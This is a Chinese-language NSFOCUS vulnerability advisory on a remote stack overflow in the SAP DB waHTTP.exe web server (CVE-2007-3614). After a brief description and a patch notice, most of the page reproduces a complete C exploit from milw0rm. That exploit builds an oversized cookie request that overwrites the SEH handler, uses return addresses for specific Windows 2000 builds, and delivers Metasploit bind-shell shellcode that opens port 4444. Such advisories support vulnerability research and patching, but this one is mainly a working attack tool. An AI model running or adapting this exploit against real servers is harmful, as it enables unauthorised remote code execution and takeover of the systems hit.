安全研究

安全漏洞
SAP DB Web Server waHTTP.exe远程栈缓冲区溢出漏洞

发布日期:2007-07-05
更新日期:2007-07-06

受影响系统:
SAP DB < 7.6
不受影响系统:
SAP DB 7.6
描述:
BUGTRAQ  ID: 24773
CVE ID: CVE-2007-3614

SAP DB是SAP AG推出的开源数据库服务器。

SAP DB的waHTTP.exe进程在处理畸形用户请求时存在漏洞,远程攻击者可能利用此漏洞控制服务器。

如果向SAP DB默认监听于TCP 9999端口的waHTTP.exe进程提交以下请求的话:
http://target:9999/webdbm?Event=DBM_INTERN_TEST&Action=REFRESH

通过200响应就可以确定请求所提供的函数:

******************************************

<body topmargin=0 leftmargin=0 marginwidth=0 marginheight=0
background=/WARoot/Images/tatami.gif>
<a href="javascript:parent.GotoWebDBMURL(this,
'Event=DBM_INTERN_TEST&Action=REFRESH')">Test</a><table
style="font-family:courier new,monospace; font-size:8pt;" border=1
cellspacing=0 cellpadding=1>
<tr><td>sapdbwa_GetRequestURI&#160;</td><td>/webdbm&#160;</td></tr>
<tr><td>sapdbwa_GetIfModifiedSince&#160;</td><td>NULL&#160;</td></tr>
<tr><td>sapdbwa_GetQueryString&#160;</td><td>Event=DBM_INTERN_TEST&Action=REFRESH&#160;</td></tr>
<tr><td>sapdbwa_GetPathInfo&#160;</td><td>NULL&#160;</td></tr>
<tr><td>sapdbwa_GetMethod&#160;</td><td>GET&#160;</td></tr>
<tr><td>sapdbwa_GetContentType&#160;</td><td>NULL&#160;</td></tr>
<tr><td>sapdbwa_GetContentLength&#160;</td><td>NULL&#160;</td></tr>
<tr><td>sapdbwa_GetPathTranslated&#160;</td><td>NULL&#160;</td></tr>
<tr><td>sapdbwa_GetServerName&#160;</td><td>NULL&#160;</td></tr>
<tr><td>AUTH_TYPE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>CONTENT_LENGTH&#160;</td><td>NULL&#160;</td></tr>
<tr><td>CONTENT_TYPE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>GATEWAY_INTERFACE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ACCEPT&#160;</td><td>*/*&#160;</td></tr>
<tr><td>PATH_INFO&#160;</td><td>NULL&#160;</td></tr>
<tr><td>QUERY_STRING&#160;</td><td>NULL&#160;</td></tr>
<tr><td>REMOTE_ADDR&#160;</td><td>NULL&#160;</td></tr>
<tr><td>REMOTE_HOST&#160;</td><td>NULL&#160;</td></tr>
<tr><td>REMOTE_USER&#160;</td><td>NULL&#160;</td></tr>
<tr><td>REQUEST_METHOD&#160;</td><td>NULL&#160;</td></tr>
<tr><td>SCRIPT_NAME&#160;</td><td>NULL&#160;</td></tr>
<tr><td>SERVER_NAME&#160;</td><td>NULL&#160;</td></tr>
<tr><td>SERVER_PORT&#160;</td><td>NULL&#160;</td></tr>
<tr><td>SERVER_PROTOCOL&#160;</td><td>NULL&#160;</td></tr>
<tr><td>SERVER_SOFTWARE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ACCEPT&#160;</td><td>*/*&#160;</td></tr>
<tr><td>HTTP_ACCEPT_CHARSET&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ACCEPT_ENCODING&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ACCEPT_LANGUAGE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ACCEPT_RANGES&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_AGE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ALLOW&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_AUTHORIZATION&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CACHE_CONTROL&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONNECTION&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_ENCODING&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_LANGUAGE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_LENGTH&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_LOCATION&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_MD5&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_RANGE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_CONTENT_TYPE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_DATE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_ETAG&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_EXPECT&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_EXPIRES&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_FROM&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_HOST&#160;</td><td>localhost&#160;</td></tr>
<tr><td>HTTP_IF_MATCH&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_IF_MODIFIED_SINCE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_IF_NONE_MATCH&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_IF_RANGE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_IF_UNMODIFIED_SINCE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_LAST_MODIFIED&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_LOCATION&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_MAX_FORWARDS&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_PRAGMA&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_PROXY_AUTHENTICATE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_PROXY_AUTHORIZATION&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_RANGE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_REFERER&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_RETRY_AFTER&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_SERVER&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_TE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_TRAILER&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_TRANSFER_ENCODING&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_UPGRADE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_USER_AGENT&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_VARY&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_VIA&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_WARNING&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_WWW_AUTHENTICATE&#160;</td><td>NULL&#160;</td></tr>
<tr><td>HTTP_COOKIE&#160;</td><td>SID=E63A7F73B20A5021442BAF3C8F70B97A&#160;</td></tr>
<tr><td>HTTP_SESSION_ID&#160;</td><td>NULL&#160;</td></tr>
<tr><td>Event&#160;</td><td>DBM_INTERN_TEST&#160;</td></tr>
<tr><td>Action&#160;</td><td>REFRESH&#160;</td></tr>
</table>
</body>

******************************************************

再次执行请求,在请求中嵌入Cookie Value,或如果不存在的话,仅仅添加为HTTP头请求,就可以在waHTTP.exe中触发栈溢出,导致执行任意指令。

<*来源:Mark Litchfield (mark@ngssoftware.com
  
  链接:http://marc.info/?l=bugtraq&m=118365931306104&w=2
        http://secunia.com/advisories/25954/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* Dreatica-FXP crew
*
* ----------------------------------------
* Target         : SAP DB 7.4 WebTools
* Site           : http://www.sapdb.org
* Found by       : NGSSoftware Insight Security Research
* ----------------------------------------
* Exploit        : SAP DB 7.4 WebTools Remote SEH overwrite exploit
* Exploit date   : 07.07.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows 2000 ALL SP
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           :   This is the SEH overwrite realization of the vulnerability found by
*                  NGSSoftware Insight Security Research, it is trivial. We send a big amount
*                  of bytes to server (about 20000) and overwrite SEH. Aproximatly at the 9900
*                  byte we trigger an exception and our shellcode is executed.
* ----------------------------------------
* Compiling      :
*  To compile this exploit you need:
*    1. Windows C/C++ compiler  
*    2. WinSock 2
* ----------------------------------------
* Thanks to      :
*       1. NGSSoftware Insight Security Research ( http://www.ngssoftware.com/ )
*       2. The Metasploit project                ( http://metasploit.com       )
*       3. Dreatica-FXP crew                     ( http://www.dreatica.cl      )
* ----------------------------------------
* This exploit was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
************************************************************************************
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh);
void make_buffer(unsigned char * buf, int itarget, int sh);
int send_buffer(unsigned char * buf, char * remotehost, int port);
SOCKET do_connect (char *remotehost, int port);
int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded );

static long timeout = 2000 ; // 2 sec


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char    *optarg;        // global argument pointer
int        optind = 0, opterr;     // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------



struct _target{
    const char *t ;
    unsigned long ret ;
} targets[]=
    {
        {"UNIVERSAL: SAP DB 7.4.3 [WAPI.dll]",          0x1003a218 },// call ebx
        {"Windows 2000 Pro SP4 RUSSIAN [kernel32.dll]", 0x793a4a66 },// jmp ebx
        {"Windows 2000 Pro SP4 ENGLISH [kernel32.dll]", 0x7c4e4a66 },// jmp ebx
        {"Debug / DoS",                                 0x42424242 },
        {NULL,                                          0x00000000 }
    };


struct {
    const char * name;
    int length;
    char * shellcode;    
}shellcodes[]={     
     {"Bindshell, port 4444   [ args: none ]", 696,
         /* win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
        "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49"
        "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
        "\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x42\x32\x42\x41\x32"
        "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x6a\x49\x4b\x4c\x62"
        "\x4a\x68\x6b\x30\x4d\x59\x78\x49\x69\x4b\x4f\x79\x6f\x69\x6f\x71"
        "\x70\x4e\x6b\x32\x4c\x51\x34\x64\x64\x6e\x6b\x41\x55\x77\x4c\x4c"
        "\x4b\x71\x6c\x35\x55\x64\x38\x54\x41\x58\x6f\x4c\x4b\x30\x4f\x47"
        "\x68\x4e\x6b\x53\x6f\x47\x50\x74\x41\x58\x6b\x70\x49\x4c\x4b\x35"
        "\x64\x6c\x4b\x36\x61\x68\x6e\x57\x41\x79\x50\x6f\x69\x4c\x6c\x6c"
        "\x44\x4b\x70\x63\x44\x43\x37\x5a\x61\x78\x4a\x44\x4d\x36\x61\x6a"
        "\x62\x38\x6b\x78\x74\x77\x4b\x51\x44\x74\x64\x76\x48\x51\x65\x4a"
        "\x45\x4e\x6b\x73\x6f\x61\x34\x55\x51\x5a\x4b\x71\x76\x6c\x4b\x64"
        "\x4c\x72\x6b\x4e\x6b\x63\x6f\x57\x6c\x75\x51\x7a\x4b\x33\x33\x34"
        "\x6c\x6c\x4b\x6e\x69\x72\x4c\x45\x74\x45\x4c\x30\x61\x4f\x33\x50"
        "\x31\x69\x4b\x61\x74\x6c\x4b\x57\x33\x66\x50\x4e\x6b\x43\x70\x64"
        "\x4c\x6e\x6b\x32\x50\x65\x4c\x6e\x4d\x6e\x6b\x77\x30\x67\x78\x31"
        "\x4e\x33\x58\x6c\x4e\x30\x4e\x34\x4e\x5a\x4c\x50\x50\x4b\x4f\x69"
        "\x46\x72\x46\x62\x73\x70\x66\x35\x38\x57\x43\x35\x62\x45\x38\x30"
        "\x77\x63\x43\x44\x72\x71\x4f\x71\x44\x79\x6f\x4a\x70\x73\x58\x78"
        "\x4b\x48\x6d\x4b\x4c\x77\x4b\x56\x30\x79\x6f\x7a\x76\x51\x4f\x6f"
        "\x79\x79\x75\x32\x46\x4b\x31\x48\x6d\x43\x38\x45\x52\x70\x55\x73"
        "\x5a\x33\x32\x6b\x4f\x4a\x70\x72\x48\x69\x49\x36\x69\x4c\x35\x6e"
        "\x4d\x50\x57\x4b\x4f\x6a\x76\x36\x33\x36\x33\x61\x43\x33\x63\x62"
        "\x73\x43\x73\x36\x33\x50\x43\x63\x63\x4b\x4f\x68\x50\x43\x56\x71"
        "\x78\x62\x31\x51\x4c\x30\x66\x30\x53\x6b\x39\x78\x61\x4c\x55\x65"
        "\x38\x4e\x44\x67\x6a\x74\x30\x6f\x37\x70\x57\x69\x6f\x6e\x36\x32"
        "\x4a\x36\x70\x43\x61\x32\x75\x79\x6f\x4e\x30\x50\x68\x4f\x54\x6e"
        "\x4d\x64\x6e\x6d\x39\x52\x77\x79\x6f\x58\x56\x66\x33\x36\x35\x69"
        "\x6f\x4e\x30\x45\x38\x38\x65\x72\x69\x6b\x36\x77\x39\x33\x67\x79"
        "\x6f\x6e\x36\x70\x50\x31\x44\x62\x74\x73\x65\x6b\x4f\x58\x50\x6d"
        "\x43\x50\x68\x4b\x57\x44\x39\x4f\x36\x64\x39\x71\x47\x6b\x4f\x49"
        "\x46\x63\x65\x6b\x4f\x4a\x70\x71\x76\x50\x6a\x50\x64\x50\x66\x70"
        "\x68\x50\x63\x52\x4d\x6e\x69\x58\x65\x32\x4a\x46\x30\x63\x69\x45"
        "\x79\x48\x4c\x4c\x49\x7a\x47\x63\x5a\x70\x44\x4d\x59\x78\x62\x36"
        "\x51\x39\x50\x38\x73\x4f\x5a\x6b\x4e\x41\x52\x64\x6d\x6b\x4e\x32"
        "\x62\x36\x4c\x4e\x73\x4c\x4d\x43\x4a\x34\x78\x4c\x6b\x6e\x4b\x6e"
        "\x4b\x51\x78\x70\x72\x6b\x4e\x4e\x53\x47\x66\x4b\x4f\x32\x55\x50"
        "\x44\x4b\x4f\x7a\x76\x43\x6b\x70\x57\x62\x72\x46\x31\x66\x31\x32"
        "\x71\x30\x6a\x35\x51\x33\x61\x32\x71\x33\x65\x53\x61\x4b\x4f\x5a"
        "\x70\x30\x68\x6e\x4d\x6e\x39\x73\x35\x7a\x6e\x62\x73\x4b\x4f\x48"
        "\x56\x63\x5a\x6b\x4f\x59\x6f\x57\x47\x39\x6f\x6e\x30\x4e\x6b\x30"
        "\x57\x59\x6c\x4b\x33\x38\x44\x45\x34\x59\x6f\x39\x46\x50\x52\x39"
        "\x6f\x58\x50\x65\x38\x38\x70\x6e\x6a\x37\x74\x53\x6f\x31\x43\x6b"
        "\x4f\x6a\x76\x6b\x4f\x78\x50\x42"        
     },    
    {NULL , NULL }
};



int main(int argc, char **argv)
{
    char * remotehost=NULL;
    char default_remotehost[]="127.0.0.1";
    char temp1[100], temp2[100];
    int port, itarget, sh;
    SOCKET s;
    char c;    
    int option_index=0;
    logo();
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,0), &wsa);
    if(argc<2)
    {
        usage(argv[0]);        
        return -1;
    }

    // set defaults
    port=9999;
    itarget=-1;
    sh=0;
    // ------------    
    
    while((c = getopt(argc, argv, "h:p:t:"))!= EOF)
    {
        switch (c)
        {
            case 'h':
                remotehost=optarg;
                break;     
            case 't':
                sscanf(optarg, "%d", &itarget);
                itarget--;
                break;
            case 'p':
                sscanf(optarg, "%d", &port);
                break;            
            default:
                usage(argv[0]);
                WSACleanup();
            return -1;
        }        
    }    
    if(remotehost == NULL) remotehost=default_remotehost;
    memset(temp1,0,sizeof(temp1));
    memset(temp2,0,sizeof(temp2));
    memset(temp1, '\x20' , 58 - strlen(remotehost) -1);    
    printf(" #  Host    : %s%s# \n", remotehost, temp1);    
    sprintf(temp2, "%d", port);
    memset(temp1,0,sizeof(temp1));
    memset(temp1, '\x20' , 58 - strlen(temp2) -1);
    printf(" #  Port    : %s%s# \n", temp2, temp1);
    memset(temp1,0,sizeof(temp1));    
    memset(temp2,0,sizeof(temp2));
    sprintf(temp2, "%s", shellcodes[sh].name );
    memset(temp1, '\x20' , 58 - strlen(temp2) -1);    
    printf(" #  Payload : %s%s# \n", temp2, temp1);    
    if(itarget!=-1)
    {
        memset(temp1,0,sizeof(temp1));    
        memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);    
        printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);        
    }else
    {
        memset(temp1,0,sizeof(temp1));    
        memset(temp1, '\x20' , 58 - strlen("Please select target") -1);    
        printf(" #  Target  : %s%s# \n", "Please select target", temp1);
    }
    printf(" # ------------------------------------------------------------------- # \n");
    fflush(stdout);
    printf("   [+] Checking if server is online\n");
    fflush(stdout);
    s=do_connect(remotehost, port);  
    if(s==-1)
    {
        printf("   [-] Server is OFFLINE\n");
        end_logo();
        return 0;
    }
    closesocket(s);
    printf("   [+] Server is ONLINE\n");

    
    unsigned char buf[30000];
    memset(buf,0,sizeof(buf));
    fflush(stdout);
    
    make_buffer(buf, itarget, sh);
    printf("   [+] Attacking buffer constructed\n");
    if(send_buffer(buf, remotehost,port)==-1)
    {
        printf("   [-] Cannot exploit server %s\n", remotehost);
        end_logo();
        WSACleanup();
        return -1;
    }

    printf("   [+] Buffer sent\n");
    printf("   [+] Connect to %s:%d\n", remotehost, 4444);
    end_logo();
    WSACleanup();
    return 0;
}



SOCKET do_connect (char *remotehost, int port)
{
   static struct hostent *host;
   static struct sockaddr_in addr;
   SOCKET s;    
       host = gethostbyname(remotehost);
       if (!host)
       {
           perror("[-] gethostbyname() failed");
           return -1;
       }
       addr.sin_addr = *(struct in_addr*)host->h_addr;

   s = socket(PF_INET, SOCK_STREAM, 0);
   if (s == -1)
   {
       closesocket(s);
       perror("socket() failed");
       return -1;
   }

   addr.sin_port = htons(port);
   addr.sin_family = AF_INET;

    if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
   {
       closesocket(s);    
       return -1;
   }    

   return s;
}


void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
{
    memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
    *fshlength = shellcodes[sh].length;    
}

void make_buffer(unsigned char * buf, int itarget, int sh)
{
    // prepare shellcode
    unsigned char fsh[10000];    
    unsigned int fshlength;
    memset(fsh, 0, sizeof(fsh));    
    prepare_shellcode(fsh, &fshlength, sh);
    // -----------------

    // make buffer
    unsigned char * cp=buf;        
        
        // HTTP request
    memcpy(cp, "GET /webdbm?Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=", strlen("GET /webdbm?Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE="));
    cp +=strlen((char *)cp);

        // long request
    memset(cp, 'A', 20774);
    cp +=strlen((char *)cp);

        // jmp over 6 bytes
    *cp++ = '\x90';
    *cp++ = '\x90';
    *cp++ = '\xEB';
    *cp++ = '\x06';
    

        // SEH handler
    *cp++ = (char)((targets[itarget].ret      ) & 0xff);
    *cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
    *cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
    *cp++ = (char)((targets[itarget].ret >> 24) & 0xff);

        // jff
    *cp++ = '\x90';
    *cp++ = '\x90';
    *cp++ = '\x90';
    *cp++ = '\x90';
    
        // copy shellcode
    memcpy(cp, fsh, fshlength);
    cp+=fshlength;

        // end of HTTP request
    memcpy(cp, " HTTP/1.0\r\n\r\n", strlen(" HTTP/1.0\r\n\r\n"));
    cp +=strlen((char *)cp);
    // -----------------
}



int send_buffer(unsigned char * buf, char * remotehost, int port)
{    
    SOCKET sock;
    int bytes;

    sock = do_connect(remotehost, port);
    if(sock==-1) printf("   [-] Failed to connect to server\n");        
    bytes = send(sock, (char *)buf, (int)strlen((char *)buf), 0);
    if (bytes<0) printf("   [-] Failed to send the buffer\n"); else printf("   [+] Sent %d bytes\n", bytes);    
    closesocket(sock);
    return 1;
}


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
    static char *next = NULL;
    if (optind == 0)
        next = NULL;

    optarg = NULL;

    if (next == NULL || *next == '\0')
    {
        if (optind == 0)
            optind++;

        if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
        {
            optarg = NULL;
            if (optind < argc)
                optarg = argv[optind];
            return EOF;
        }

        if (strcmp(argv[optind], "--") == 0)
        {
            optind++;
            optarg = NULL;
            if (optind < argc)
                optarg = argv[optind];
            return EOF;
        }

        next = argv[optind];
        next++;        // skip past -
        optind++;
    }

    char c = *next++;
    char *cp = strchr(optstring, c);

    if (cp == NULL || c == ':')
        return '?';

    cp++;
    if (*cp == ':')
    {
        if (*next != '\0')
        {
            optarg = next;
            next = NULL;
        }
        else if (optind < argc)
        {
            optarg = argv[optind];
            optind++;
        }
        else
        {
            return '?';
        }
    }

    return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------


void usage(char * s)
{    
    printf("   Usage : %s -h <host> -p <port> -t <target>\n", s);
    printf("   Arguments:\n");
    printf("      -h <host>     host to connect\n");
    printf("      -p <port>     port (default: 9999)\n");
    printf("      -t <target>   target to attack\n");
    printf("    Shellcodes:\n");
    for(int i=0; shellcodes[i].name!=0;i++)
    {
        printf("       %d. %s\n",i+1,shellcodes[i].name);                
    }    
    printf("\n");
    printf("    Targets:\n");
    for(int j=0; targets[j].t!=0;j++)
    {
        printf("       %d. %s\n",j+1,targets[j].t);
    }        
    printf("\n");
    end_logo();    
}

void logo()
{
    printf("\n\n");
    printf(" ####################################################################### \n");    
    printf(" #     ____                 __  _                  ______  __    _____ #\n");
    printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
    printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
    printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
    printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
    printf(" #                                 crew                                #\n");
    printf(" ####################################################################### \n");    
    printf(" #  Exploit : SAP DB 7.4 WebTools Remote SEH overwrite exploit         # \n");
    printf(" #  Author  : Heretic2 (heretic2x@gmail.com                            # \n");
    printf(" #  Research: NGSSoftware Insight Security Research                    # \n");
    printf(" #  Version : 1.0 Public Release                                       # \n");
    printf(" #  System  : Windows 2000 ALL SP                                      # \n");
    printf(" #  Date    : 07.07.2007                                               # \n");
    printf(" # ------------------------------------------------------------------- # \n");
}

void end_logo()
{
    printf(" # ------------------------------------------------------------------- # \n");
    printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");    
    printf(" ####################################################################### \n\n");
}

// milw0rm.com [2007-07-07]

建议:
厂商补丁:

SAP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.sap.com/

浏览次数:3879
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障